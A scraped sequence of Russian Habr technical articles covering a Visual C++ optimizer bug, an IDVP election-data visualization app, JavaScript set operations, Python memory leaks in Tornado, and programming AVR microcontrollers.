"name": "money1",
"type": "types.decimal_18_6"
},
{
"name": "money2",
"type": "types.decimal_18_6"
},
]
```
*Обратите внимание — имя типа при обращении включает его namespace **types**.decimal\_18\_6*
Также это необходимо в отдельных [не тривиальных случаях](https://github.com/tebeka/fastavro/issues/101) | https://habr.com/ru/post/346698/ | null | ru | null |
# Как мы искали и нашли ошибку в Visual Studio C++
Это был чудесный летний день. За окном сияли тучки, нежными голосами пели вороны, на автомойке весело пачкали шампунем чью-то машину, за стеной тихо скрёбся перфоратор — в общем, идиллия.
Ничего не предвещало беды ровно до того момента, как я запустил только что собранную в режиме релиза программу, чтобы проверить изменения до того, как передать их в отдел тестирования.
### Предыстория
Компания у нас существует относительно давно, и основной продукт уже старше некоторых сотрудников компании, так что древнего кода хватает. Тем не менее, мы стараемся держаться в современном русле, Modern C++ активно используется, поэтому около года назад основной проект был переведён на VC2015. Это был отдельный цирк с конями, бубнами, блэкджеком и валерьянкой. Вспомогательный код переводится по мере того, как появляется время и желание. В данном случае, я решил перевести на VC2015 один из таких вспомогательных проектов, который очень активно используется нашей техподдержкой.
Я был уверен, что уже знаю подводные камни такого перехода, и что задача займёт не более часа работы.
Внешне программа проста: она показывает список строк, взятых из разных таблиц базы данных. Когда пользователь выделяет какую-либо строку, заголовки столбцов списка меняются на названия столбцов в соответствующей таблице.
И тут я замечаю, что этого не происходит.
### In Vivo
Проверяю несколько раз, воспроизводимость стопроцентная. Собираю проект с нуля, запускаю, проверяю. Нуль на массу.
Это было странно, потому что я совершенно точно помню, что столбцы во время отладки переключались правильно, это было частью тест-кейса. Дабы убедиться в собственной вменяемости, запускаю Debug-версию и вижу, что столбцы переключаются. Также убеждаюсь, что ошибка появляется, как только я включаю любую оптимизацию.
Какой прекрасный денёк.
Функция обновления заголовков сама по себе довольно простая. Сначала она считает некий condition, а затем работает примерно вот такой код:
```
int flag = !application->settings.showsize; // showsize имеет тип BYTE
int first = columnData - flag;
int last = ALL_COLUMNS - flag;
if (condition)
{
for (int i = first; i < last; i++)
{
listctrl.SetColumn(i, "Какой-то текст");
}
}
else
{
for (int i = first; i < last; i++)
{
listctrl.SetColumn(i, "Какой-то другой текст");
}
}
```
Прошу не кидаться урановыми тапками, я уже говорил, что код довольно старый.
Таким образом, при любом раскладе хоть что-нибудь, но должно было происходить. Более того, отладчик, добираясь до этого кода, просто перепрыгивает на конец функции. Открываю дизассемблер и вижу, что весь этот кусок кода (и ещё десяток строк перед ним) в листинге просто отсутствует. Разумеется, оптимизированный код иногда выглядит покруче любого спагетти- и даже валенки-кода. Но в данном случае нигде с самого начала функции нет даже намёка на какие-либо переходы куда-либо ещё. В листинге виден расчёт условия, и сразу после него — выход.
Я начинаю понимать, что ошибка гораздо более интересная, чем казалось в начале, и зову нашего спеца, который в компании занимается ситуациями вида «всякая неведомая хрень», и которого обедом не корми — дай найти какой-нибудь баг в винде. Иллюзий на тему «в компиляторах ошибок не бывает» мы не питаем, однако опыт подсказывает, что 99,99% «ошибок в компиляторах» сводятся к кривым рукам разработчиков программ.
### In vitro
Когда ошибка возникает только в оптимизированном коде, это может означать, что мы где-то наткнулись на неизвестное нам UB, и первым кандидатом становится строка
```
int flag = !application->settings.showsize;
```
Очень быстро выясняется, что проблема действительно где-то тут, но «не все так однозначно». Стоило заменить выражение на константу, другую переменную, поставить тернарный оператор вместо отрицания или хотя бы поместить структуру на стек, как код волшебным образом появлялся в листинге.
За неимением лучших идей, вытаскиваем эту функцию в отдельный чистый проект и безжалостно выкидываем всё лишнее. Тут же выясняем, что шаманство со структурами и указателями можно заменить на обычный volatile:
```
#include
int main()
{
volatile int someVar = 1;
const int indexOffset = someVar ? 0 : 1; // Цикл выбрасывается
// const int indexOffset = !someVar; // Цикл выбрасывается
// const int indexOffset = 0; // Всё хорошо
// const int indexOffset = 1; // Всё хорошо
// const int indexOffset = someVar; // Всё хорошо
// const int indexOffset = someVar + 1; // Всё хорошо
for (int i = 1 - indexOffset; i < 2 - indexOffset; ++i)
{
printf("Test passed\n");
}
return 1;
}
```
Здесь мы были немало удивлены, поскольку в оригинальном коде замена отрицания на тернарный оператор в строке
```
int flag = !application->settings.showsize;
```
возвращала кусок кода на место, а для volatile это уже не работало.
Сомнений в том, что мы наткнулись на ошибку в компиляторе, почти не оставалось, однако казалось невероятным, что в десятках мегабайт кода не нашлось похожего куска.
### Расследование
Тут стоит отметить, что основная программа сейчас собирается в vs2015 Update 2, поскольку на программу, собранную в Update 3, внезапно стал ругаться антивирус, причём именно тот, который мы устанавливаем клиентам, и могло получиться… некрасиво. Однако у некоторых разработчиков, включая меня, установлен Update 3. Мы проверили на нескольких разных компьютерах и версиях VS, и получилось, что ошибка присутствует только в Update 3. Позднее окажется, что правильнее было написать «начиная с Update 3».
Гугл ясно дал понять, что он не при делах, так что следующим логичным шагом было написание
[вопроса](https://stackoverflow.com/questions/44702943/visual-studio-2015-update-3-c-compiler-bug) на StackOverflow. Надо сказать, отправить на StackOverflow вопрос, начинающийся с фразы «Мы тут ошибку в компиляторе нашли» — это всё равно, что порезать себе руку и прыгнуть в бассейн с акулами, но в данном случае акулы оказались сытыми и доброжелательными. Буквально через несколько минут тестовый пример ещё больше упростили, подсказали [инструмент](https://godbolt.org/#g:!((g:!((g:!((h:codeEditor,i:(j:1,source:'int+main()%0A%7B%0A++++volatile+int+someVar+%3D+1%3B%0A%0A++++const+int+indexOffset+%3D+someVar+%3F+0+:+1%3B%0A%0A++++for+(int+i+%3D+1+-+indexOffset%3B+i+%3C+2+-+indexOffset%3B+%2B%2Bi)%0A++++%7B%0A++++++++return+0%3B%0A++++%7D%0A++++return+1%3B%0A%7D%0A'),l:'5',n:'0',o:'C%2B%2B+source+%231',t:'0')),k:33.333333333333336,l:'4',m:100,n:'0',o:'',s:0,t:'0'),(g:!((h:compiler,i:(compiler:cl19_64,filters:(b:'0',commentOnly:'0',directives:'0',intel:'0'),options:/O2,source:1),l:'5',n:'0',o:'x86-64+CL+19+2017+RTW+(Editor+%231,+Compiler+%233)',t:'0')),k:33.333333333333336,l:'4',n:'0',o:'',s:0,t:'0'),(g:!((h:compiler,i:(compiler:cl19_64,filters:(b:'0',commentOnly:'0',directives:'0',intel:'0'),options:'/O2+-d2SSAOptimizer-',source:1),l:'5',n:'0',o:'x86-64+CL+19+2017+RTW+(Editor+%231,+Compiler+%231)',t:'0')),k:33.33333333333333,l:'4',n:'0',o:'',s:0,t:'0')),l:'2',n:'0',o:'',t:'0')),version:4), который позволял посмотреть результат трансляции этого кода разными компиляторами, и, что ещё важнее, прозвучала волшебная фраза «**new SSA optimizer introduced in VS2015 Update 3**». Там же упоминался волшебный ключик -d2SSAOptimizer-, отключающий новый оптимизатор.
На этот раз гугление привело нас в блог [Introducing a new, advanced Visual C++ code optimizer](https://blogs.msdn.microsoft.com/vcblog/2016/05/04/new-code-optimizer/) разработчика из Visual C++ Optimizer team с его координатами и предложением отправлять ему сообщения об ошибках, чем мы и воспользовались. И буквально через 10-15 минут получили следующий ответ:
> Да, это определённо ошибка в самом SSA-оптимизаторе — обычно большинство ошибок, о которых нам сообщают, как об ошибках оптимизатора, находятся в других местах и иногда проявляются спустя 20 лет только сейчас.
>
>
>
> Ошибка в небольшой оптимизации, которая пытается удалить сравнения вида (a — Const1) CMP (a — Const2), если не происходит переполнения. Ошибка возникает из-за того, что в вашем коде есть выражение (1 — indexOffset) CMP (2 — indexOffset), и, хоть вычитание, разумеется, некоммутативно, оптимизатор этого не учитывает и обрабатывает (1 — indexOffset), как будто это (indexOffset — 1).
>
>
>
> Исправление для этой ошибки будет опубликовано в следующем большом обновлении для VS2017. До этого времени хорошим решением может стать отключение SSA-оптимизатора для этой функции, если это не вызовет сильного замедления. Это можно сделать с помощью #pragma optimize("", off): [msdn.microsoft.com/en-us/library/chh3fb0k.aspx](https://msdn.microsoft.com/en-us/library/chh3fb0k.aspx)**Оригинал**Yes, this is indeed a bug in the SSA Optimizer itself — usually most bugs reported as being in the new optimizer are in other parts, sometimes exposed now after 20 years.
>
>
>
> It's in a small opt. that tries to remove a comparison looking like (a — Const1) CMP (a — Const2), if there is no overflow. The issue is that your code has (1 — indexOffset) CMP (2 — indexOffset) and subtraction is not commutative, of course — but the optimizer code disregards that and handles (1 — indexOffset) as if it's (indexOffset — 1).
>
>
>
> A fix for this issue will be released in the next larger update for VS2017. Until then, disabling the SSA Optimizer would be a decent workaround. Disabling optimizations for only this function may be a better approach if it doesn't slow down things too much. This can be done with #pragma optimize("", off): [msdn.microsoft.com/en-us/library/chh3fb0k.aspx](https://msdn.microsoft.com/en-us/library/chh3fb0k.aspx)
### Эпилог
Как показало расследование, на текущий момент этой ошибке подвержены все компиляторы VC++, начиная с версии 2015 Update 3 и заканчивая самыми современными версиями. Пока неизвестно, когда будет выпущено исправление, так что если вы обнаружите, что из вашей программы чудесным образом пропадают куски кода, проверьте, может быть новый оптимизатор решил, что этот код ему нужнее, чем вам?
Несколько разочаровывает, что исправление будет выпущено только для VS2017, тем не менее, теперь мы знаем, что с этим делать.
Какой прекрасный денёк!
Спасибо [Codeguard](https://stackoverflow.com/users/147805/codeguard) за помощь в поиске этой ошибки. | https://habr.com/ru/post/333442/ | null | ru | null |
# Как создать приложение c 3D аналитикой для iPhone?
[](https://habrastorage.org/webt/sm/bw/gw/smbwgwttzf-9y5yaognbwnc-m80.jpeg)
Существует множество трендов и направлений в анализе данных, и все мы знакомы с популярными словами Business Intelligence, Big Data, Machine Learning и т.д. Эти слова знакомы сейчас даже тем, кто не знает как написать SQL-запрос, не знаком с правилами визуализации и отображения информации, и тем более не сможет написать Python-скрипт. Но всегда в нас остаётся незыблемое желание, воплощение мечты любого руководителя и/или даже аналитика данных: «нажимаешь на клавишу» и через миллисекунды нам уже приходит ответ на вопрос «Что делать?», а желательно пусть сразу «Прибыль компании увеличена».
Одной из самых основных проблем в анализе данных остается вовлечение в этот процесс человека — Человека принимающего решение. У него мало времени, или даже критически мало времени. Как вовлечь его в процесс работы большой машины анализа данных?
Ключ к быстрому пониманию данных — визуализация.
Основной постулат, который продвигается в использовании программного обеспечения IDVP — «геймификация». Даже самый занятой и важный человек находит время в самолёте или между встречами поиграть в «2048» или «Танки».
Но создание игры — это всегда долгий и сложный процесс.
Чтобы разрушить этот стереотип, мы придумали способ, который позволит аналитику создать «Игру с данными» для своего руководителя за пару часов.
### Небольшой эксперимент
В преддверии важного события — Выборов Президента РФ 18 марта 2018 года, мы решили что было бы неплохо попробовать провернуть такой трюк именно с данными о результатах голосования.
Проанализировав информацию в интернете, мы нашли официальный источник данных о голосовании — сайт Центральной Избирательной комиссии (ЦИК РФ) [izbirkom.ru](http://www.vybory.izbirkom.ru/region/izbirkom). На этом сайте можно найти результаты всех проводимых выборов. Также не так давно мы наткнулись на [статью](https://m.habrahabr.ru/post/279157/) на Хабре, в которой был проведен анализ данных распределения голосов по стране перед выборами депутатов Государственной думы Федерального собрания РФ, которые прошли 18 сентября 2016.
Сначала мы нашли данные результатов выборов Президента РФ за 2012 год, там же находятся и предварительные результаты голосования. Путём долгих звонков и общения со службой поддержки ЦИК нам удалось выяснить, что во время подсчёта голосов по всей стране именно эта вкладка периодически обновляется, для того, чтобы оперативно информировать избирателей о ходе выполняемой работы.
Вот так выглядит таблица с результатами выборов Президента РФ в 2012 году.
[](https://habrastorage.org/webt/27/3e/3l/273e3lsaicpduawnkmhwwoynsac.png)
Для визуализации показателей мы использовали инструмент IDVP.Cartogram. Это сервис, который позволяет отобразить данные на интерактивной 3D Карте России. Пример приложения для iOS устройств, в котором выводятся некоторые социально-экономические показатели, доступно для скачивания в AppStore. Выглядит оно так:
[](https://habrastorage.org/webt/ek/74/t0/ek74t0qfnzrlf4tvsbsm-tvpimk.png)
Чтобы собрать такое приложение нужно пройти несколько шагов:
* Подключение данных к IDVP;
* Настройка отображения приложения;
* Публикация приложения.
Далее я опишу эти шаги более подробно, но чтобы они стали понятными, погружу Вас в общую терминологию работы приложения IDVP.Cartogram.
### Внутренности IDVP.Cartogram
iDVP — это платформа, которая позволяет создавать и управлять дальнейшим жизненным циклом приложений, предназначенных для визуализации данных. Визуализация может быть разной, от интерактивных отчетов в web, до десктопных или iOS-приложений с 3D графикой, именно последнее и представляет собой IDVP.Cartogram. Приложения iDVP работают по принципу веб-браузера. Любой веб-браузер содержит движок, который загружает с сервера ресурсы (html, js, css, пр.), данные и формирует графический пользовательский интерфейс с использованием стандартных визуальных элементов, таких как картинка, кнопка, текст, таблица и другие. Аналогично браузеру, в состав клиентского приложения iDVP входит движок визуализации (он называется iDVP Player) и наборы визуальных компонентов (в данном случае 3D карта и обвязка).
Вся логика приложения и конфигурация интерфейса пользователя описывается при помощи шаблонов, которые движок iDVP загружает с сервера. По аналогии с html, шаблон представляет собой xml документ (отдаленно похожий на xaml), который помимо описания интерфейса содержит логику привязки данных и обработчики событий действий пользователя. Слой визуализации клиентского приложения iDVP реализован с использованием игрового движка Unity, благодаря которому можно подключать 3D-компоненты для визуализации данных.
Приложение получает данные из модуля iDVP.Data, которое выступает одновременно как Data Integrator, ETL-инструмент и инструмент для создания web-сервисов, которые возвращают данные в JSON формате. К модулю iDVP.Data можно подключить файлы Excel и CSV, а также отдельные базы данных и REST/SOAP сервисы.
Взаимодействие отдельных компонент в приложении «Выборы 2018»:
[](https://habrastorage.org/webt/s8/nt/qy/s8ntqyzgjlknz6nuzi4pmtmiz0u.png)
### Шаги создания приложения «Выборы 2018» в iDVP.Cartogram:
**Шаг 1.** Подгрузим в IDVP.Data три Excel файла, которые мы ранее получили с сайта ЦИК (на рисунке это 3 синих кружочка):
* election\_service\_settings\_raw — файл, где хранятся настроечные данные (такие, как названия регионов);
* election\_service\_raw — подключенный сервис, с данными по предварительным результата голосования;
* election\_service\_people\_visit — подключенный сервис, с информацией о явке.
[](https://habrastorage.org/webt/l_/mk/rw/l_mkrwq6bvtrg1vfo6xgnwwfsmo.png)
Для подключения источника достаточно было перетащить нужный файл в окно:
[](https://habrastorage.org/webt/ju/yh/x1/juyhx1vzurs9wtxgkgi_j2c510g.png)
**Шаг 2.** Для визуализации, которая нам нужна потребуются следующие сервисы:
* election\_region\_view — для вывода наименований регионов;
* election\_tables\_view — для вывода данных в таблицу слева от карты;
* election\_widgets\_sum — для вывода общих данных показатели по кандидатам;
* election\_widgets\_all — для вывода имен кандидатов;
* election\_projects\_view — для вывода списка показателей в шапке.
Для трансформации данных мы создаём сущности под названием DataSet (датасеты). Создавая цепочку таких сущностей, мы можем трансформировать исходные данные к необходимому нам формату, а также проводить аналитические вычисления при помощи SQL-скриптов.
Чтобы в данные случайно не закралась ошибка, мы создали по датасету для каждого источника данных и там произвели приведение типов всех полей.
Пример скрипта в основном датасете «election\_information\_raw»:
```
with elect as (
select
k.*,
s.region_code as region_code
from (
select
CONCAT(project, type, id) as widget_id,
project,
RTRIM(widget_name, ', %') as widget_name,
region_name,
dense_rank() over (order by region_name) as region_id,
max(param_1) as param_1,
max(param_2) as param_2
from (
select
CASE WHEN id < 10 THEN CONCAT('0',id) ELSE CAST(id as VARCHAR) END as id,
`row` as widget_name,
`column` as region_name,
CASE WHEN STRPOS(`row`, ', %') > 0 THEN CAST(RTRIM(`value`, '%') as FLOAT) ELSE CAST(`value` as FLOAT) END as param_1,
CASE WHEN id > 18 THEN 1 ELSE 2 END as project,
CASE WHEN id > 18 THEN '01' ELSE '02' END as type,
CASE WHEN STRPOS(`row`, ', %') > 0 THEN CAST(RTRIM(`value`, '%') as FLOAT) ELSE CAST(null as FLOAT) END as param_2
from election_service_ds_raw
)
group by
id,
type,
RTRIM(widget_name, ', %'),
project,
region_name
order by project, widget_id
) k
left outer join election_service_regions_raw s on k.region_id=s.region_id
)
select
CAST(a.region_name as VARCHAR) as region_name_table,
CAST(a.region_code as VARCHAR) as region_code,
CAST(a.project as VARCHAR) as project,
CAST(a.param_1 as INTEGER) as param_1,
CAST(a.param_2 as VARCHAR) as param_2,
a.widget_id,
CAST(a.widget_name as VARCHAR) as widget_name,
CAST(s.param_1_name as VARCHAR) as param_1_name,
CAST(s.param_2_name as VARCHAR) as param_2_name
from elect a
left outer join election_service_widgets_raw s on CAST(SUBSTR(a.widget_id,4) as INTEGER) = CAST (s.widget_id as INTEGER)
order by project, widget_id
```
**Результаты запроса получились следующие:**
[](https://habrastorage.org/webt/fq/13/hv/fq13hvxlg5bfffd2yo_az-ch5tg.png)
**Шаг 3.** Создание web-сервиса (или как мы их называем, витрины) представляет собой тоже SQL-запрос, который в секции select содержит выходные параметры, а в секции where объявленные входные параметры.
[](https://habrastorage.org/webt/7r/gz/fd/7rgzfduqe_odlffrmjjekpst4gu.png)
После того, как мы подключили данные, дело осталось за малым.
**Шаг 4.** Мы склонировали проект приложения «Cartogram», назвав его «Выборы 2018 онлайн». Далее, выгрузив локально шаблоны адаптировали их к новым витринам. Подключили визуальные компоненты к новым сервисам данных и проверили, что всё работает.
Вот так выглядит пример шаблона верхней панели, переключателя между результатами и показателями:
```
```
После внесения всех изменений были обновлены шаблоны и пересобран проект. В результате за очень короткое время мы создали приложение, которое наглядно отображает информацию о результатах Выборов Президента РФ за 2012 год.
[](https://habrastorage.org/webt/fu/fk/ul/fufkulgdiep_erejtanfslemvkw.jpeg)
### У нас всё получилось
Во время публикации предварительных, а далее и финальных результатов выборов Президента РФ 2018, мы автоматически публикуем данные в общедоступном приложении «Выборы 2018», как только они появляются на сайте ЦИК. Если Вам будет интересно, обязательно скачивайте приложение в [AppStore](https://itunes.apple.com/ru/app/%D0%B2%D1%8B%D0%B1%D0%BE%D1%80%D1%8B-2018-%D0%BE%D0%BD%D0%BB%D0%B0%D0%B9%D0%BD/id1356517805?mt=8) и [GooglePlay](https://play.google.com/store/apps/details?id=com.idvp.player.Election2018). Следите за происходящим вместе с нами.
Аналитики а также разработчики в ближайшем будущем смогут получить бесплатный-демо доступ к платформе IDVP для того чтобы научиться создавать такие же приложения и многое другое. Сообщите о себе на сайте [IDVP](http://idvp.info/) или напишите в [Телеграм](https://telegram.me/idvpbot).
Если нам удастся вовлечь Вас в процесс наблюдения за результатами выборов, то и Вам удастся в дальнейшем вовлекать в процесс анализа данных Вашего босса. Но мы уверены, что у Вас может получиться лучше. Данные Выборов Президента это всего лишь один из поводов, возможно уже на следующей неделе мы в нашем приложении будем мониторить не только результаты выборов, но и статистику использования IDVP.Cartogram по всей стране ;)
Анализ данных — это не просто автоматический процесс получения ответа на вопрос, это процесс взаимодействия людей и данных. Только простые и понятные инструменты свяжут всё воедино. | https://habr.com/ru/post/351440/ | null | ru | null |
# Выбираем алгоритм, или Когда ждать уже невыносимо
При разработке бизнес-логики приложений нужно продумать действия с множествами – с пересечением, разностью массивов или двойной разностью. Недостатки в этом алгоритме могут привести к рискам. Например, если вам нужно в реальном времени обработать объем данных, превышающий определенную границу, система может «тормозить» – до минуты и даже больше. Такие ситуации требуют лишнего расхода ресурсов, отталкивают пользователей и вызывают другие проблемы.
Рассмотрим один из способов, которым мы пользуемся в работе для устранения подобных негативных эффектов. Статья будет полезна как разработчикам с опытом, которые ищут новые способы оптимизации своих продуктов, так и новичкам, которые только погружаются в тему оптимизации.
Например, вам нужно определить права пользователя на просмотр странички. Есть массив ролей, которым разрешён доступ (authorities) и массив прав конкретного пользователя (userRights). Требуется определить факт того, что этому пользователю разрешён доступ к страничке.
Что мы сделаем в этом случае? Конечно же, будем брать каждое право из массива userRights и пробегать по всем ролям в authorities:
```
const hasRight = userRights.filter(item => authorities.includes(item))
```
На первый взгляд, всё отработано красиво, читабельно и корректно. Но какие проблемы есть в вышеприведенном алгоритме?
Если это массив с небольшим количеством входящих данных, то особых проблем не возникает, несмотря на то, что у данного алгоритма O(n^2).
Однако, как только n достигает достаточно больших значений, время отработки алгоритма уже не будет нас устраивать.
Ниже в таблице приведена динамика деградации скорости выполнения алгоритмов разной сложности от размера входных данных.
Источник: «Алгоритмы: разработка и применение» (Клейнберг Дж., Тардос Е.)В подобных задачах помогает алгоритм с O(n\*log(n))
- зелёный – разность
- красный – пересечение
- зелёный + синий – двойная разность
Разность можно получить следующим образом:
```
const dif = function(arr1, arr2) {
const temp = new Set([...arr1, ...arr2])
arr2.map(item => (temp.has(item) && temp.delete(item)))
return arr1.filter(item => !temp.has(item))
}
```
Пересечение:
```
const cross = function(arr1, arr2) {
const temp = new Set(arr2)
return arr1.filter(item => temp.has(item))
}
```
Двойное пересечение, например, можно получить так:
```
dif(arr1, arr2) + dif(arr2, arr1)
```
**Сложность всех алгоритмов:** O(n\*log(n))
Однако, при n достаточно малых эти алгоритмы проиграют по скорости и памяти алгоритму filter(item => arr.includes(item)). Поэтому, примем что n <= 100 – нас устраивает для алгоритма O(n^2)
В результате получим следующий алгоритм:
```
if(n <= 100) {
filter(item => arr.includes(item))
} else {
diff или cross
}
```
### Заключение
Правильно подобранный алгоритм в рамках вашей задачи может значительно улучшить производительность приложения. Если обработка данных в приложении занимает много времени, обратите внимание на возможные способы ее оптимизации, в частности, на предложенный в статье пример. Мы рекомендуем улучшать алгоритмы как можно раньше, не доводя систему до такого состояния, когда ожидание тех или иных операций действительно становится невыносимым для пользователя.
**Спасибо за внимание! Надеемся, что этот материал был вам полезен.** | https://habr.com/ru/post/582316/ | null | ru | null |
# Устранение утечек памяти в приложении на Питоне
Недавно мне довелось разобраться и устранить несколько утечек памяти в популярном фреймворке Торнадо. Не беда, если вы никогда его не использовали, потому что описанное будет мало связано с ним. Рассказать я хочу о методах, которые я использовал для поиска и устранения утечек.
Все сказанное будет по большей части справедливо только для самой популярной реализации Питона — CPython. Как известно, в нем есть два механизма освобождения памяти. Первый из них — подсчет ссылок. Каждый раз, когда вы явно или не явно создаете новый объект, его счетчик ссылок равен единице. Если вы присваиваете этот объект новой переменной или передаете в качестве аргумента, его счетчик ссылок увеличивается. При выходе из функции количество ссылок на объекты, которые были в локальных переменных и аргументах, уменьшается. Если для какого-то объекта количество ссылок становится равным нулю, он немедленно уничтожается.
Это схема отлично работает до тех пор, пока не появляются объекты, ссылающиеся друг на друга. Самый простой пример — узлы какого-то дерева, хранящие ссылки на свои дочерние и родительский узлы. Узлы продолжат ссылаться друг на друга, даже когда не останется других внешних ссылок ни на один из них. Самое неприятное, что такие узлы могут ссылаться на какие-то другие данные и не давать их освободить. Чтобы устранить такие циклические ссылки, в Питоне существует второй механизм освобождения памяти — сборщик мусора. Он запускается время от времени, ставя выполнение остального кода на паузу, и анализирует все неосвобожденные объекты.
Формально, циклические ссылки нельзя назвать утечками: сборка мусора рано или поздно уничтожит такие объекты. Беда только в том, что Питон не может сам определить, когда еще рано, а когда уже поздно. В моем случае система просто прибивала процесс с Питоном, если сборка мусора не начиналась вовремя.
Как сказано в документации [модуля gc](http://docs.python.org/2.7/library/gc.html), частота сборки мусора зависит от установленных порогов на количество новых объектов. Во всех доступных мне версиях Питона это количество по умолчанию равно 700. Однако, если запустить довольно простой тест, можно увидеть, что количество объектов, собранных функцией принудительной сборки мусора `gc.collect()`, легко может превысить это значение.
```
class Node(object):
parent = None
def __init__(self, *children):
self.children = list(children)
for node in self.children:
node.parent = self
@classmethod
def tree(cls, depth=1, children=1):
if depth == 0:
return []
return [cls(*cls.tree(depth-1, children))
for _ in range(children)]
import gc
from time import time
for n in range(1, 21):
for _ in range(n):
# Совершенно случайные величины.
Node.tree(depth=5, children=6)
start = time()
print('{1} objects collected for n={0} in {2:3.6} msec'.format(
n, gc.collect(), (time() - start) * 1000))
```
При n равном 10 и 20 у меня получилось по 107 тысяч неосвобожденных объектов. Значит пороги в модуле gc мягкие и их достижение не гарантирует немедленной сборки мусора (Андрей [Svetlov](https://habrahabr.ru/users/svetlov/) в комментариях поправляет, что это не так, и подробно объясняет, почему так происходит). Более того, количество объектов ничего не говорит о занимаемой ими памяти. В результате, если в вашем приложении объекты, занимающие много памяти, не уничтожаются с помощью подсчета ссылок, то это может привести к печальным последствиям.
Именно так и произошло в моем приложении. Код, локализующий проблему, выглядел так:
```
from tornado import web, ioloop, gen
ioloop = ioloop.IOLoop.current()
class IndexHandler(web.RequestHandler):
megabyte_string = "0123456789abcdef" * 64 * 1024
@web.asynchronous
@gen.engine
def get(self):
self.write("Hello, world
")
yield gen.Task(self.some_task, self.megabyte_string * 20)
self.finish()
def some_task(self, bigdata, callback):
self.write("some task
")
callback()
application = web.Application([(r'/', IndexHandler)], debug=True)
if __name__ == "__main__":
print("Start on 8888")
application.listen(8888)
ioloop.start()
``` | https://habr.com/ru/post/178637/ | null | ru | null |
# Вы еще не программируете микроконтроллеры? Тогда мы идем к вам!
Здравствуйте, уважаемые Хабражители!
В этой статье я хочу рассказать о том, как однажды решил начать программировать микроконтроллеры, что для этого понадобилось и что в итоге получилось.
Тема микроконтроллеров меня заинтересовала очень давно, году этак в 2001. Но тогда достать программатор по месту жительства оказалось проблематично, а о покупке через Интернет и речи не было. Пришлось отложить это дело до лучших времен. И вот, в один прекрасный день я обнаружил, что ~~лучшие времена пришли~~ не выходя из дома можно купить все, что мне было нужно. Решил попробовать. Итак, что нам понадобится:
###### 1. Программатор
На рынке предлагается много вариантов — от самых дешевых ISP (In-System Programming) программаторов за несколько долларов, до мощных программаторов-отладчиков за пару сотен. Не имея большого опыта в этом деле, для начала я решил попробовать один из самых простых и дешевых — USBasp. Купил в свое время на eBay за $12, сейчас можно найти даже за $3-4. На самом деле это китайская версия программатора от [Thomas Fischl](http://www.fischl.de/usbasp/). Что могу сказать про него? Только одно — он работает. К тому же поддерживает достаточно много AVR контроллеров серий ATmega и ATtiny. Под Linux не требует драйвера.
Для прошивки надо соединить выходы программатора `VCC, GND, RESET, SCK, MOSI, MISO` с соответствующими выходами микроконтроллера. Для простоты я собрал вспомогательную схему прямо на макетной плате:
Слева на плате — тот самый микроконтроллер, который мы собираемся прошивать.
###### 2. Микроконтроллер
С выбором микроконтроллера я особо не заморачивался и взял ATmega8 от Atmel — 23 пина ввода/вывода, два 8-битных таймера, один 16-битный, частота — до 16 Мгц, маленькое потребление (1-3.6 мА), дешевый ($2). В общем, для начала — более чем достаточно.
Под Linux для компиляции и загрузки прошивки на контроллер отлично работает связка avr-gcc + avrdude. Установка тривиальная. Следуя [инструкции](http://www.timteatro.net/2012/03/22/beginning-atmel-avr-development-in-linux-using-avr-eclipse-avr-gcc-and-avrdude/), можно за несколько минут установить все необходимое ПО. Единственный ньюанс, на который следует обратить внимание — avrdude (ПО для записи на контроллер) может потребовать права супер-пользователя для доступа к программатору. Выход — запустить через sudo (не очень хорошая идея), либо прописать специальные udev права. Синтаксис может отличаться в разных версиях ОС, но в моем случае (Linux Mint 15) сработало добавление следующего правила в файл `/etc/udev/rules.d/41-atmega.rules`:
```
# USBasp programmer
SUBSYSTEM=="usb", ATTR{idVendor}=="16c0", ATTR{idProduct}=="05dc", GROUP="plugdev", MODE="0666"
```
После этого, естественно, необходим перезапуск сервиса
```
service udev restart
```
Компилировать и прошивать без проблем можно прямо из командной строки (кто бы сомневался), но если проектов много, то удобнее поставить плагин [AVR Eclipse](http://avr-eclipse.sourceforge.net/wiki/index.php/The_AVR_Eclipse_Plugin) и делать все прямо из среды Eclipse.
Под Windows придется поставить драйвер. В остальном проблем нет. Ради научного интереса попробовал связку AVR Studio + eXtreme Burner в Windows. Опять-таки, все работает на ура.
### Начинаем программировать
Программировать AVR контроллеры можно как на ассемблере (AVR assembler), так и на Си. Тут, думаю, каждый должен сделать свой выбор сам в зависимости от конкретной задачи и своих предпочтений. Лично я в первую очередь начал ковырять ассемблер. При программировании на ассемблере архитектура устройства становится понятнее и появляется ощущение, что копаешься непосредственно во внутренностях контроллера. К тому же полагаю, что в особенно критических по размеру и производительности программах знание ассемблера может очень пригодиться. После ознакомления с AVR ассемблером я переполз на Си.
После знакомства с архитектурой и основными принципами, решил собрать что-то полезное и интересное. Тут мне помогла дочурка, она занимается шахматами и в один прекрасный вечер заявила, что хочет иметь часы-таймер для партий на время. БАЦ! Вот она — идея первого проекта! Можно было конечно заказать их на том же eBay, но захотелось сделать свои собственные часы, с блэк… эээ… с индикаторами и кнопочками. Сказано — сделано!
В качестве дисплея решено было использовать два 7-сегментных диодных индикатора. Для управления достаточно было 5 кнопок — `“Игрок 1”`, `“Игрок 2”`, `“Сброс”`, `“Настройка”` и `“Пауза”`. Ну и не забываем про звуковую индикацию окончания игры. Вроде все. На рисунке ниже представлена общая схема подключения микроконтроллера к индикаторам и кнопкам. Она понадобится нам при разборе исходного кода программы:
### Разбор полета
Начнем, как и положено, с точки входа программы — функции `main`. На самом деле ничего примечательного в ней нет — настройка портов, инициализация данных и бесконечный цикл обработки нажатий кнопок. Ну и вызов `sei()` — разрешение обработки прерываний, о них немного позже.
```
int main(void)
{
init_io();
init_data();
sound_off();
sei();
while(1)
{
handle_buttons();
}
return 0;
}
```
Рассмотрим каждую функцию в отдельности.
```
void init_io()
{
// set output
DDRB = 0xFF;
DDRD = 0xFF;
// set input
DDRC = 0b11100000;
// pull-up resistors
PORTC |= 0b00011111;
// timer interrupts
TIMSK = (1<
```
Настройка портов ввода/вывода происходит очень просто — в регистр DDRx (где x — буква, обозначающая порт) записивается число, каждый бит которого означает, будет ли соответствующий пин устройством ввода (соответствует 0) либо вывода (соответствует 1). Таким образом, заслав в DDRB и DDRD число 0xFF, мы сделали B и D портами вывода. Соответственно, команда `DDRC = 0b11100000;` превращает первые 5 пинов порта C во входные пины, а оставшиеся — в выходные. Команда `PORTC |= 0b00011111;` включает внутренние подтягивающие резисторы на 5 входах контроллера. Согласно схеме, к этим входам подключены кнопки, которые при нажатии замкнут их на землю. Таким образом контроллер понимает, что кнопка нажата.
